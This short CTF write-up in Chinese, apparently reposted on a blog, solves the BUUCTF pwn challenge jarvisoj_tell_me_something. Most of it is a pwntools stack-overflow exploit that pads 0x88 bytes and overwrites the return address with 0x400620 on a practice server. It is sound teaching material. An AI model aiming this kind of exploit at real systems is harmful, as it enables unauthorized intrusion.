64位程序，開啟了NX保護

400620

from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'*(0x88)+p64(flag_addr)r.sendline(payload)r.interactive()

這道題需要注意的一點是沒有返回

這是其棧結構

所以這道題直接溢出0x88即可

總結

以上是生活随笔為你收集整理的Buuctf(pwn) jarvisoj_tell_me_something 栈溢出的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。